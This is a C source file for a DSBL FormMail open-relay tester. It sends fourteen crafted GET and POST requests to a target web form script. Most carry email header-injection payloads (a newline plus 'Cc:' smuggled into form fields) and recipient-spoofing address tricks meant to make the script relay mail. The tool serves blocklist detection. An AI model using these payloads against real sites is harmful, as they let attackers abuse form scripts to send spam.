/*
relaytest.c - DSBL SMTP open relay tester
Copyright (C) 2002 Ian Gulliver

This program is free software; you can redistribute it and/or modify
it under the terms of version 2 of the GNU General Public License as
published by the Free Software Foundation.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <firedns.h>
#include <firestring.h>
#include "testlib.h"

#define MAXTEST 14
#define NEEDDOMAIN 5
#define NEEDUSER 12

#define WITH_REFERER 1
#define NO_REFERER 0


/* tests:
 *   0 recipient=listme@dsbl.org
 *   1 recipient=dsbl.org!listme
 *   2 realname=&email=\nCc: listme@dsbl.org&recipient=()
 *   3 realname=)\nCc: listme@dsbl.org (&recipient=()
 *   4 recipient=listme@dsbl.org&email=\n\nDSBL LISTME...
 *   5 recipient=listme%dsbl.org@DOMAIN
 *   6 recipient=dsbl.org!listme@DOMAIN
 *   7 recipient=listme@dsbl.org(DOMAIN
 *   8 recipient=<listme@dsbl.org>DOMAIN
 *   9 realname=&email=\nCc: listme@dsbl.org&recipient=DOMAIN
 *  10 realname=&recipient=DOMAIN&email=\nCc: listme@dsbl.org\n\nDSBL LISTME...
 *  11 realname=)\nCc: listme@dsbl.org (&email=&recipient=DOMAIN
 *  12 recipient=listme@dsbl.org(USER@DASHDOMAIN
 *  13 recipient=<listme@dsbl.org>USER@DASHDOMAIN
 */
char *maketest(int num, char *intip, char *cookie, char *hostname, char *url, char *spoofuser, char *spoofdomain, char *dashdomain, const char *target_user, const char *target_domain) {
	static char ret[1024];

	switch(num) {
		case 0:
			firestring_snprintf(ret,1024,"recipient=%s%%40%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%s%%40%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,intip,cookie,target_user,target_domain,hostname,url);
			break;
		case 1:
			firestring_snprintf(ret,1024,"recipient=%s%%21%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%s%%21%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_domain,target_user,intip,cookie,target_domain,target_user,hostname,url);
			break;
		case 2:
			firestring_snprintf(ret,1024,"realname=&email=%%0ACc%%3A+%s%%40%s&recipient=%%28%%29&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arealname%%3D%%0Aemail%%3D%%5CnCc%%3A+%s%%40%s%%0Arecipient%%3D%%28%%29%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,intip,cookie,target_user,target_domain,hostname,url);
			break;
		case 3:
			firestring_snprintf(ret,1024,"realname=%%29%%0ACc%%3A+%s%%40%s+%%28&recipient=%%28%%29&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arealname%%3D%%29%%5CnCc%%3A+%s%%40%s+%%28%%0Arecipient%%3D%%28%%29%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,intip,cookie,target_user,target_domain,hostname,url);
			break;
		case 4:
			firestring_snprintf(ret,1024,"recipient=%s%%40%s&email=%%0A%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%s%%40%s%%0Aemail%%3D%%5Cn%%5CnDSBL+LISTME...%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,intip,cookie,target_user,target_domain,hostname,url);
			break;
		case 5:
			firestring_snprintf(ret,1024,"recipient=%s%%25%s%%40%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%s%%25%s%%40%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,spoofdomain,intip,cookie,target_user,target_domain,spoofdomain,hostname,url);
			break;
		case 6:
			firestring_snprintf(ret,1024,"recipient=%s%%21%s%%40%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%s%%21%s%%40%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_domain,target_user,spoofdomain,intip,cookie,target_domain,target_user,spoofdomain,hostname,url);
			break;
		case 7:
			firestring_snprintf(ret,1024,"recipient=%s%%40%s%%28%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%s%%40%s%%28%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,spoofdomain,intip,cookie,target_user,target_domain,spoofdomain,hostname,url);
			break;
		case 8:
			firestring_snprintf(ret,1024,"recipient=%%3C%s%%40%s%%3E%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%%3C%s%%40%s%%3E%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,spoofdomain,intip,cookie,target_user,target_domain,spoofdomain,hostname,url);
			break;
		case 9:
			firestring_snprintf(ret,1024,"realname=&email=%%0ACc%%3A+%s%%40%s&recipient=%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arealname%%3D%%0Aemail%%3D%%5CnCc%%3A+%s%%40%s%%0Arecipient%%3D%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,spoofdomain,intip,cookie,target_user,target_domain,spoofdomain,hostname,url);
			break;
		case 10:
			firestring_snprintf(ret,1024,"realname=&recipient=%s&email=%%0ACc%%3A+%s%%40%s%%0A%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arealname%%3D%%0Arecipient%%3D%s%%0Aemail%%3D%%5CnCc%%3A+%s%%40%s%%5Cn%%5CnDSBL+LISTME...%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",spoofdomain,target_user,target_domain,intip,cookie,spoofdomain,target_user,target_domain,hostname,url);
			break;
		case 11:
			firestring_snprintf(ret,1024,"realname=%%29%%0ACc%%3A+%s%%40%s+%%28&email=&recipient=%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arealname%%3D%%29%%5CnCc%%3A+%s%%40%s+%%28%%0Aemail%%3D%%0Arecipient%%3D%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,spoofdomain,intip,cookie,target_user,target_domain,spoofdomain,hostname,url);
			break;
		case 12:
			firestring_snprintf(ret,1024,"recipient=%s%%40%s%%28%s%%40%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%s%%40%s%%28%s%%40%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,spoofuser,dashdomain,intip,cookie,target_user,target_domain,spoofuser,dashdomain,hostname,url);
			break;
		case 13:
			firestring_snprintf(ret,1024,"recipient=%%3C%s%%40%s%%3E%s%%40%s&message=%%0ADSBL+LISTME%%3A+formmail+%s%%0A%s%%0Arecipient%%3D%%3C%s%%40%s%%3E%s%%40%s%%0AURL%%3Dhttp://%s%s%%0ADSBL+END%%0A",target_user,target_domain,spoofuser,dashdomain,intip,cookie,target_user,target_domain,spoofuser,dashdomain,hostname,url);
			break;
		default:
			ret[0] = '\0';
			break;
	}

	return ret;

}

int sendpost(int num, char *intip, char *hostname, char *url, struct sockaddr_in *host, char *cookie, char *spoofuser, char *spoofdomain, char *dashdomain, const char *target_user, const char *target_domain, int with_referer_header) {
	int fd;
	static char packet[2048];
	char *test;
	int i;
	fd = socket(PF_INET, SOCK_STREAM, 0);
	if (fd == -1) {
		perror("host socket()");
		exit(100);
	}

	if (connect(fd,(struct sockaddr *)host,sizeof(struct sockaddr_in)) != 0) {
		perror("host connect()");
		exit(2);
	}

	test = maketest(num,intip,cookie,hostname,url,spoofuser,spoofdomain,dashdomain,target_user,target_domain);

	if (with_referer_header) {
		i = firestring_snprintf(packet,2048,"POST %s HTTP/1.1\r\n"
                       "Host: %s\r\n"
		       "Referer: http://%s/\r\n"
		       "Content-Length: %d\r\n"
		       "Connection: close\r\n"
		       "\r\n"
		       "%s",url,hostname,hostname,strlen(test),test);
	} else {
		i = firestring_snprintf(packet,2048,"POST %s HTTP/1.1\r\n"
                       "Host: %s\r\n"
		       "Content-Length: %d\r\n"
		       "Connection: close\r\n"
		       "\r\n"
		       "%s",url,hostname,strlen(test),test);
	}

	if (send(fd,packet,i,0) != i) {
		perror("host send()");
		exit(2);
	}

	while (recv(fd,packet,2048,0) == 2048);

	close(fd);
	return 0;
}

int sendget(int num, char *intip, char *hostname, char *url, struct sockaddr_in *host, char *cookie, char *spoofuser, char *spoofdomain, char *dashdomain, const char *target_user, const char *target_domain, int with_referer_header) {
	int fd;
	static char packet[2048];
	char *test;
	int i;
	fd = socket(PF_INET, SOCK_STREAM, 0);
	if (fd == -1) {
		perror("host socket()");
		exit(100);
	}

	if (connect(fd,(struct sockaddr *)host,sizeof(struct sockaddr_in)) != 0) {
		perror("host connect()");
		exit(2);
	}

	test = maketest(num,intip,cookie,hostname,url,spoofuser,spoofdomain,dashdomain,target_user,target_domain);
	if (with_referer_header) {
		i = firestring_snprintf(packet,2048,"GET %s?%s HTTP/1.1\r\n"
			"Host: %s\r\n"
			"Referer: http://%s/\r\n"
			"Connection: close\r\n"
			"\r\n",url,test,hostname,hostname);
	} else {
		i = firestring_snprintf(packet,2048,"GET %s?%s HTTP/1.1\r\n"
			"Host: %s\r\n"
			"Connection: close\r\n"
			"\r\n",url,test,hostname);
	}

	if (send(fd,packet,i,0) != i) {
		perror("host send()");
		exit(2);
	}

	while (recv(fd,packet,2048,0) == 2048);

	close(fd);
	return 0;
}


/* return values:
 *   0 - host accepted some tests, may relay
 *   1 - host accepted no tests, won't relay
 *   2 - host appears to be blocking tester (or may just be seriously broken)
 * 100 - format or internal error
 */
int main(int argc, char **argv) {
	struct in_addr *in;
	struct sockaddr_in host_addr;
	char *cookie;
	char query[1024];
	char intip[16];
	char *spoofuser = NULL, *spoofdomain = NULL;
	char dashdomain[256];
	int i;
	char *tempchr;
	const char *target_user,
		*target_domain;

	setalarm();

	if (argc < 2) {
		fprintf(stderr,"Usage: %s <url> [<spoof recipient>]\n",argv[0]);
		exit(100);
	}
	
	if (argc == 3) {
		spoofdomain = argv[2];
		tempchr = strchr(spoofdomain,'@');
		if (tempchr != NULL) {
			tempchr[0] = '\0';
			spoofuser = spoofdomain;
			spoofdomain = tempchr + 1;
			firestring_strncpy(dashdomain,spoofdomain,256);
			tempchr = dashdomain;
			while ((tempchr = strchr(tempchr,'.')) != NULL) {
				tempchr[0] = '-';
				tempchr++;
			}
		}
	}
	
	if (strncmp(argv[1],"http://",7) != 0) {
		fprintf(stderr,"Invalid URL.\n");
		exit(100);
	}

	if (strlen(argv[1]) > 1023) {
		fprintf(stderr,"URL too long.\n");
		exit(100);
	}

	tempchr = strchr(&argv[1][7],'/');
	if (tempchr == NULL)
		firestring_strncpy(query,&argv[1][7],1024);
	else {
		memcpy(query,&argv[1][7],tempchr - argv[1] - 7);
		query[tempchr - argv[1] - 7] = '\0';
	}

	in = firedns_aton4(query);
	if (in == NULL) {
		in = firedns_resolveip4(query);
		if (in == NULL) {
			fprintf(stderr,"Unable to resolve %s\n",query);
			exit(100);
		}
	}
	memcpy(&host_addr.sin_addr,in,sizeof(struct in_addr));
	firestring_strncpy(intip,firedns_ntoa4(in),16);

	host_addr.sin_family = AF_INET;
	host_addr.sin_port = htons(80);

	readconf();

	target_user = firestring_conf_find(config,"target_user");
	if (target_user == NULL) {
		fprintf(stderr,"target_user not set in config.\n");
		exit(100);
	}

	target_domain = firestring_conf_find(config,"target_domain");
	if (target_domain == NULL) {
		fprintf(stderr,"target_domain not set in config.\n");
		exit(100);
	}

	cookie = getcookie();

	for (i = 0; i < MAXTEST; i++) {
		if (i == NEEDDOMAIN && spoofdomain == NULL)
			return 0;
		if (i == NEEDUSER && spoofuser == NULL)
			return 0;
		sendget(i,intip,query,tempchr,&host_addr,cookie,
			spoofuser,spoofdomain,dashdomain,target_user,target_domain,WITH_REFERER);
		sendget(i,intip,query,tempchr,&host_addr,cookie,
			spoofuser,spoofdomain,dashdomain,target_user,target_domain,NO_REFERER);
		sendpost(i,intip,query,tempchr,&host_addr,cookie,
			spoofuser,spoofdomain,dashdomain,target_user,target_domain,WITH_REFERER);
		sendpost(i,intip,query,tempchr,&host_addr,cookie,
			spoofuser,spoofdomain,dashdomain,target_user,target_domain,NO_REFERER);
	}

	return 0;
}
